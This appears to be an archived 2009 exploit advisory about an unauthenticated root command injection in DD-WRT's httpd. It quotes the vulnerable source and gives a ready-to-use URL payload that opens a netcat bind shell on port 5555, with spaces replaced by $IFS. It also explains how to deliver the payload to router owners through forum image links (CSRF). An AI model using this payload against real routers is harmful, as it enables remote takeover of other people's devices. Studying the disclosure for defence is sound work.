This is a remote root vulnerability in DD-WRT's httpd server. The bug exists 
at the latest 24 sp1 version of the firmware.

 The problem is due to many bugs and bad software design decisions. Here is 
part of httpd.c:

859 	        if (containsstring(file, "cgi-bin")) {
860 	
861 	                auth_fail = 0;
862 	                if (!do_auth
863 	                    (conn_fp, auth_userid, auth_passwd, auth_realm,
864 	                     authorization, auth_check))
865 	                        auth_fail = 1;


......... (snip)............

899 	
900 	                }
901 	                exec = fopen("/tmp/exec.tmp", "wb");
902 	                fprintf(exec, "export REQUEST_METHOD=\"%s\"\n", method);
903 	                if (query)
904 	                        fprintf(exec, "/bin/sh %s/%s</tmp/exec.query\n",
905 	                                server_dir != NULL ? 
server_dir : "/www",file);
906 	                else
907 	                        fprintf(exec, "/%s/%s\n",
908 	                                server_dir != NULL ? server_dir : "/www", 
file);
909 	                fclose(exec);
910 	
911 	                if (query) {
912 	                        exec = fopen("/tmp/exec.query", "wb");
913 	                        fprintf(exec, "%s\n", query);

........................
Two issues there: 
1) No metacharacters handling
2) Command gets executed even without successful authentication.
You are not going to see any output if not authenticated though.
.......................

914 	                        free(query);
915 	                        fclose(exec);
916 	                }
917 	
918 	                system2("chmod 700 /tmp/exec.tmp");
919 	                system2("/tmp/exec.tmp>/tmp/shellout.asp");

........... (snip)..........

926 	                if (auth_fail == 1) {
927 	                        send_authenticate(auth_realm);
928 	                        auth_fail = 0;

------------

3) issue 3: httpd runs as root  :) 



Now let's sum up (1), (2) and (3). Any unauthenticated attacker that can 
connect to the management web interface can get easily root on the device via 
his browser with an URL like:

 http://routerIP/cgi-bin/;command_to_execute

There is a catch though: whitespaces break it. Anyway, they can be easily 
replaced with shell variable like $IFS. So, getting root shell at 5555/tcp 
becomes as easy as typing this in your browser's url bar:

http://routerIP/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh


Voila (pretty old-school, eheh). Here is some (poor) video demonstrating the 
problem:
http://www.youtube.com/watch?v=UhDcXCVFrvM


Fortunately, httpd by default does not listen on the outbound interface. 
However, this vulnerability can be exploited via a CSRF attack (the dd-wrt 
device's owner does not even need to have an authenticated session on the web 
UI which is bad, bad). However, a base authentication dialog will appear. In 
IE even this can be supressed, see this one:

http://ha.ckers.org/blog/20090630/csrf-and-ignoring-basicdigest-auth/

Unlike the already documented CSRF vulnerability ( 
http://www.securityfocus.com/bid/32703 ) this DOES NOT need an authenticated 
session. This means someone can even post some crafted [img] link on a forum 
and a dd-wrt router owner visiting the forum will get owned  :) 


A weird vulnerability you're unlikely to see in 2009  :)  Quite embarrassing I 
would say  :) 


Thanks krassyo at krassyo.info for his support  :)  


Leka vecher  :) 

# milw0rm.com [2009-07-20]